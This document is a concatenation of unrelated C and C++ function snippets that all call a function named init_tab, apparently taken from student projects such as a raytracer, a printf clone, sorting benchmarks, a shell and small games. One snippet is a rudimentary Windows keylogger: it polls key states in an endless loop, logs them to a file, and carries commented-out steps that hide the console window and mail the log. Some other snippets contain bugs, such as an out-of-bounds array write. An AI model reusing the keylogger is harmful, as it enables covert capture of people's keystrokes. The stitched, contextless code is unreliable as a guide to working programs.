void init_alias(t_rt *rt, t_ray *ray) { if (!ray || !rt) return; ray->k = 1e6; ray->color->color = 0; init_tab(ray->eye, 0, 3); init_tab(ray->p1, 0, 3); init_tab(ray->v, 0, 3); }
void init_ray(t_rt_client *rt, t_ray *ray, int x, int y) { if (!ray || !rt) return; ray->x = x; ray->y = y; ray->k = 1e6; ray->color->color = 0; init_tab(ray->eye, 0, 3); init_tab(ray->p1, 0, 3); init_tab(ray->v, 0, 3); }
int my_putnbr_base(int nbr, char *base) { int base_size; char value[1024]; int i; int my_nbr; my_nbr = nbr; init_tab(value); base_size = my_strlen(base); if (base_size <= 0) return (my_nbr); i = 0; while (nbr > 0) { value[i++] = *(base + (nbr % base_size)); nbr /= base_size; } write(1, "\\", 1); if (my_strlen(value) == 1) write(1, "0", 1); my_putstr(my_revstr(value)); return (my_nbr); }
int my_printf(char *format, ...) { va_list ap; t_args tab[10]; int cmp; va_start(ap, format); init_tab(tab, &cmp); while (*format) { if (*format == '%') { check_case(format, tab, ap, &cmp); format = format + 2; } else { my_putchar(*format); cmp = cmp + 1; format = format + 1; } } va_end(ap); return (cmp); }
int main(int argc, const char *argv[]) { int m, n=1000, **tab, d, *ptr; double time; struct timeval start, end; //usage(); gettimeofday(&start, 0) ; /* initialize tabs with random shit */ init_tab(n, &m, &tab, 1, &ptr); /* calculate total distance of the roads */ d = distance(tab, n); gettimeofday(&end, 0); /* print the total distance */ //printf("Distance: %d\n", d); time = (end.tv_sec + (end.tv_usec / 1000000.0)) - (start.tv_sec + (start.tv_usec / 1000000.0)); printf("ASP took %f seconds\n", time); /* free the 2d road array */ free_tab(tab, n); return 0; }
int main(int argc, char** argv) { srand(time(NULL)); int size, buckets_number, processes_number; if (argc != 4) { printf("usage: %s tab_size number_of_buckets number_of_processes\n", argv[0]); return -1; } size = atoi(argv[1]); buckets_number = atoi(argv[2]); processes_number = atoi(argv[3]); omp_set_num_threads(processes_number); struct timeval tv0, tv1; float* tab = init_tab(size); // print_tab(tab, size); gettimeofday(&tv0, NULL); bucket_sort(tab, size, buckets_number); gettimeofday(&tv1, NULL); // print_tab(tab, size); float time = tv1.tv_sec - tv0.tv_sec + (tv1.tv_usec - tv0.tv_usec) / 1000000.0f; printf("time: %f\n", time); printf("result is: %s\n", check_sort_validity(tab, size) ? "valid" : "invalid"); free(tab); return 0; }
t_file *ft_sort(t_file *list, t_opt opt) { long long (*f)(t_file *, t_file *, t_opt); t_file *debut; t_file *prev; int range; f = init_tab(opt); range = 0; debut = list; while (!range) { prev = NULL; range = 1; while (list && list->next) { if (f(list, list->next, opt) > 0) range = norme_sort(&prev, &debut, &list); prev = list; list = list->next; } list = debut; } return (debut); }
int detect_keys(int argc, char **argv, t_slt *slt) { int tab_int[argc]; slt->underline = (init_tab(argc, tab_int)); while (1) { tputs(tgetstr("cl", NULL), 0, my_putint); aff_params(argc, argv, slt, tab_int); init_key(slt); if (slt->key[0] == 27 && slt->key[1] == 0 && slt->key[2] == 0) return (0); else if (slt->key[0] == 27 && slt->key[1] == 91 && slt->key[2] == 65) slt->underline = slt->underline - 1; else if (slt->key[0] == 27 && slt->key[1] == 91 && slt->key[2] == 66) slt->underline = slt->underline + 1; else if (slt->key[0] == 32 && slt->key[1] == 0 && slt->key[2] == 0) gere_space(tab_int, slt); else if (slt->key[0] == 10 && slt->key[1] == 0 && slt->key[2] == 0) return (0); else if ((slt->key[0] == 127 && slt->key[1] == 0 && slt->key[2] == 0) || (slt->key[0] == 27 && slt->key[1] == 91 && slt->key[2] == 51)) return (0); circle(argc, slt); } }
int main() { //ShowWindow(GetConsoleWindow(), 0); init_tab(); std::ofstream output("C:/test.txt", std::ofstream::out); //ne créé par le fichier //time_begin = time(NULL); while (1) { for (const auto& kv : keys) { unsigned int x; std::stringstream ss; ss << std::hex << kv.first; ss >> x; if (GetAsyncKeyState(static_cast<int>(x))) { output << x; output.close(); //send_mail(); } } } return 0; }
void sfsdel(sSuperStruct *s, char* filename){ printf("DELETE %s \n", filename); int i = 0; // chercher le bon file entry while( strcmp(s->fe[i].name, filename) && i < 64) { i++; } printf("DELETE %d %s %s \n", i, filename, s->fe[i].name); if(i == 64){ printf("Impossible de supprimer le fichier, il n'existe pas \n"); } else { // on met le name et le size à 0 int j; char buf[32]; init_tab(buf, 32 ); printf("DELETE BUF %s \n", buf); strcpy(s->fe[i].name, buf); printf("DELETE NAME: %s :ICI \n", s->fe[i].name); printf("DELETE SIZE: %d :ICI \n", s->fe[i].size); for(j=0; j <= (s->fe[i].size/1024); j++){ // on met les bit à zero dans le bitmap setBitmapZero( s, s->fe[i].indexBlock[j] ); } s->fe[i].size=0; } }
t_env *init_env(void) { t_env *e; if (!(e = (t_env *)malloc(sizeof(t_env)))) return (NULL); new_window(e); e->music = 0; e->posx = 3; e->posy = 5; e->dirx = -1; e->diry = 0; e->xmax = 0; e->ymax = 0; e->planex = 0; e->planey = 0.66; e->time = 0; e->oldtime = e->time; e->time = clock(); e->fps = (e->time - e->oldtime) / 1000.0; e->movespeed = e->fps * 0.001; e->rotspeed = e->fps * 0.0005; e->tab = (int *)mlx_get_data_addr(e->img->img, &e->img->bpp, \ &e->img->size_line, &e->img->endian); e->buffer = init_tab(e); e->texture = create_texture(e); return (e); }
void ft_print_combn(int len) { char str[len]; int i; int j; j = 0; i = 1; init_tab(str, len); while (i) { i = incr(str, len); if (good(str, len)) { ft_putstr(str); if (i) { ft_putchar(','); ft_putchar(' '); } else ft_putchar('\n'); } } }
int main(int argc, char *argv[]) { int m, n=10000, **tab, *ptr; unsigned long d; double time; struct timeval start, end; //usage(); get_arguments(argc, argv, &n); /* set start time */ gettimeofday(&start, 0); /* initialize tab with random values */ /* TODO initialize tab on input */ init_tab(n, &m, &tab, 1, &ptr); /* calculate total distance of the roads */ d = distance(tab, n); /* calculate and print calculation time */ gettimeofday(&end, 0); time = (end.tv_sec + (end.tv_usec / 1000000.0)) -\ (start.tv_sec + (start.tv_usec / 1000000.0)); fprintf(stderr, "ASP took %f seconds\n", time); /* print the total distance */ printf("Distance: %ld\n", d); /* free the 2d road array */ free_tab(tab, n); return 0; }
double tore_equation(t_ray *ray, t_obj *obj) { double result[4]; double n[11]; int nbroots; t_tor tor; nbroots = 0; init_tab(result, 0, 4); n[5]= ray->v[0] * ray->v[0] + ray->v[1] * ray->v[1] + ray->v[2] * ray->v[2]; n[6] = 2.0 * (ray->v[0] * ray->eye[0] + ray->v[1] * ray->eye[1] + ray->v[2] * ray->eye[2]); n[7] = ray->eye[0] * ray->eye[0] + ray->eye[1] * ray->eye[1] + ray->eye[2] * ray->eye[2] + obj->rayon * obj->rayon - pow((obj->angle / PI * 180), 2); n[8] = 4.0 * obj->rayon * obj->rayon; n[9] = n[8] * (ray->v[0] * ray->v[0] + ray->v[2] * ray->v[2]); n[10] = n[8] * 2 * (ray->v[0] * ray->eye[0] + ray->v[2] * ray->eye[2]); n[11] = n[8] * (ray->eye[0] * ray->eye[0] + ray->eye[2] * ray->eye[2]); n[0] = n[5] * n[5]; n[1] = 2.0 * n[5] * n[6]; n[2] = 2.0 * n[5] * n[7] + n[6] * n[6] - n[9]; n[3] = 2.0 * n[6] * n[7] - n[10]; n[4] = n[7] * n[7] - n[11]; fill_tor_struct_normal(&tor, n); nbroots = solve_quartic(result, &tor); return (mini_k(result, nbroots)); }
int main(int argc, char **argv) { int printed; int tmp; char *tab; if (argc == 1) { my_putchar('\n'); exit(-1); } tab = malloc(sizeof(*tab) * (argc - 1)); init_tab(tab, argc - 1); srandom(time(0) * getpid()); printed = argc - 1; while (printed) { tmp = random() % (argc - 1); if (already_shown(tab, tmp) == 0) { my_putstr(argv[tmp + 1]); my_putchar('\n'); printed--; } } free(tab); return 0; }
///MAIN main(){ //Q6 int tab[10]; init_tab(tab, 10, 5); //Q6 init_tab_bis(tab, 10, 0); }
void init_control(t_sel *sel, char *buf) { signal(SIGWINCH, change_size); signal(SIGINT, mfree); init_tab(buf, 4); get_size(sel); display(g_all); }
void change_pwd(t_data *data, char *pwd_prev) { char *current_pwd; char **tab; tab = init_tab(strdup("setenv"), strdup("OLDPWD"), pwd_prev); built_in_setenv((const char **)tab, data); free(tab[0]); free(tab[1]); free(tab[2]); free(tab); current_pwd = getcwd(NULL, 0); tab = init_tab(strdup("setenv"), strdup("PWD"), current_pwd); built_in_setenv((const char **)tab, data); free(tab[0]); free(tab[1]); free(tab[2]); free(tab); }
sSuperStruct initStructure(char *name, uint16_t taille){ int16_t i=0; char tab[taille*2*512]; image=tab; sSuperStruct sfs; init_tab(sfs.sb.signature, 8); //remplissage de la signature while(name[i]!='\0'){ sfs.sb.signature[i]=name[i]; i++; } //remplissage structure complète sfs.sb.nbBlockTotal=taille; sfs.sb.nbBlockSuperBlock=1; sfs.sb.nbSectBlock=2; sfs.sb.nbBlockBitmap=1; //1 block sfs.sb.tailleFileEntries=256; //nombre de bytes pour une file entrie sfs.sb.nbBlockFileEntries=16; sfs.sb.nbBlockData=taille-(sfs.sb.nbBlockFileEntries+sfs.sb.nbBlockSuperBlock+ sfs.sb.nbBlockBitmap); init_tab(sfs.fe, 64); int j=0; for (j=0; j<64; j++){ sfs.fe[j].size=0; init_tab(sfs.fe[j].name, 32); init_tab(sfs.fe[j].indexBlock, 111); } int a; for (a=0; a<1024; a++ ) init_byte(sfs.fc.data[a], 1024); init_byte(sfs.sbit.tabBitmap, 1024); return sfs; }
/* Declare a struct tag */ save_tag( name, is_defn ) { auto *e = lookup_tab( structtab, 32, name ); /* sizeof(struct_entry) */ if (e) { if (is_defn && e[3]) error( "Multiple definition of struct '%s'", name ); } else { e = grow_tab( structtab, 32, name ); /* sizeof(struct_entry) */ e[1] = e[3] = 0; e[4] = scope_id; init_tab( &e[5], 24 ); /* sizeof(sym_entry) */ } }
int init_data_next(t_data *data) { data->boole = 0; data->score.init_time = time(NULL); data->score.tpause = 0; data->score.tlastpause = 0; data->pause = false; data->score.score = 0; data->score.line = 0; if ((data->opt.to_check = init_tab(20, 14)) == NULL) return (1); fill_to_check(data); return (0); }
void enter_mod1(t_gen *gen) { gen->w = init_tab(gen); if (!(gen->d_cmp = (char*)ft_memalloc(sizeof(char) * Y * gen->t->size_line))) error(3); aff_graph(gen); gen->m = NULL; gen->min_w = 1; calling_rangers(gen); mlx_put_image_to_window(gen->mlx, gen->win, gen->t->img, 0, 0); if (!(gen->rep & 0x80)) mlx_loop_hook(gen->mlx, watermaker, gen); free(gen->m); }
// MAIN int main() { int a,b; TABLEAU jean; /*printf("%lu \n", sizeof(TABLEAU));*/ srand(time(NULL)); jean= init_tab(jean); affiche_tab(jean); a = multi( jean); b = min(jean); printf("produit : %d, min : %d \n ", a,b); jean = decalage(jean); affiche_tab(jean); printf("\n"); jean = trirapide(jean, 0, jean.taille); affiche_tab(jean); return 0; }
double sphere_normale(t_ray *ray, UNUSED t_obj *obj, t_spot *light) { int i; double values[5]; i = 0; init_tab(values, 0, 5); while (i < 3) { values[0] = ray->eye[i] + ray->k * ray->v[i]; values[1] = ray->eye[i] + ray->k * ray->v[i] - light->pos[i]; values[2] += pow(values[0], 2); values[3] += pow(values[1], 2); values[4] += values[0] * values[1]; ++i; } return (values[4] / (sqrt(values[2]) * sqrt(values[3]))); }
t_tetrimos *get_tab_t_tetrimos(char *str) { int fd; t_tetrimos *tab; if ((tab = (t_tetrimos*)malloc(sizeof(t_tetrimos) * 26)) == NULL) return (NULL); fd = 0; if ((fd = open(str, O_RDONLY)) == -1) return (NULL); init_tab(tab); if ((add_to_tab(tab, fd)) == 0) return (NULL); if (check_valid_t_tetrimos(tab) == 0) return (NULL); close(fd); return (tab); }
void init_env_game(t_env *env) { int i; i = 0; env->score = 0; env->login = ft_strdup("John"); env->victory = 0; env->tab = init_tab(env->len); env->win = (WINDOW**)malloc(sizeof(WINDOW*) * (env->len * env->len)); while (i < (env->len * env->len)) { env->win[i] = newwin(LINES / env->len, COLS / env->len, ((i % env->len) * ((LINES - 3) / env->len)) + 2, (i / env->len) * (COLS / env->len)); i++; } }
double sphere_equation(t_ray *ray, t_obj *obj) { int i; double values[4]; i = 0; init_tab(values, 0, 4); while (i < 3) { values[0] += ray->v[i] * ray->v[i]; values[1] += ray->v[i] * ray->eye[i]; values[2] += ray->eye[i] * ray->eye[i]; ++i; } values[1] *= 2; values[2] -= (obj->rayon * obj->rayon); values[3] = (values[1] * values[1]) - (4 * values[0] * values[2]); return (find_k(values[3], values[0], values[1])); }
int exec_node(t_node *tree, t_shell *sh) { t_ntype types[EXEC_FUNC_N]; int (*func[EXEC_FUNC_N])(t_node *, t_shell *); int i; if (tree->type == node_filename) return (exec_close(tree)); init_tab(types, func); exec_convert(NULL, sh); i = 0; while (i < EXEC_FUNC_N) { if (tree->type == types[i]) return (func[i](tree, sh)); i++; } return (EXIT_FAILURE); }
int main(int argc, char **argv) { int lb, ub; double start,end; MPI_Init(&argc,&argv); MPI_Comm_size(MPI_COMM_WORLD,&size); MPI_Comm_rank(MPI_COMM_WORLD,&rank); n = 0; if ( argc > 1 ) n = atoi(argv[1]); if (n == 0) n = 4000; if (rank == 0 ) { //printf("Running asp on %d nodes with %d rows\n", size, n); } get_bounds(&lb, &ub); init_tab(n, lb, ub, &tab); // MPI_Barrier(MPI_COMM_WORLD); //MAGPIE_Reset_statistics(1); /* print/reset statistics before do_asp() */ /* will only have effect with -magpie-statistics */ //MAGPIE_Reduce_associative(MPI_COMM_WORLD,1); // start = MPI_Wtime(); do_asp(tab, n, lb, ub); //end = MPI_Wtime(); free_tab(tab, lb, ub); /* if (rank == 0) { */ /* printf("asp took %f\n",end - start); */ /* } */ MPI_Finalize(); return 0; }
int main(){ int c; int tab[TAILLE]; int h[TAILLE]; int point[2]; point[0] = 0; point[1] = 400; printf("Initialisation de tab :\n"); c = init_tab(tab, TAILLE); printf("La valeur %d est presente %d fois.\n",V,compte(tab,c,V)); printf("La valeur maximale est : %d\n",max_notes(tab,c)); printf("\nTableau d'occurences :\n"); histogramme(tab,h,c); CINI_open_window(FENETRE,FENETRE,"fenetre"); CINI_fill_window("white"); /*dessiner_baton(point,50,100,"red"); */ printf("Dessiner histogramme\n:"); dessiner_histogramme(tab,h,point,c,20,100,"red"); return 0; }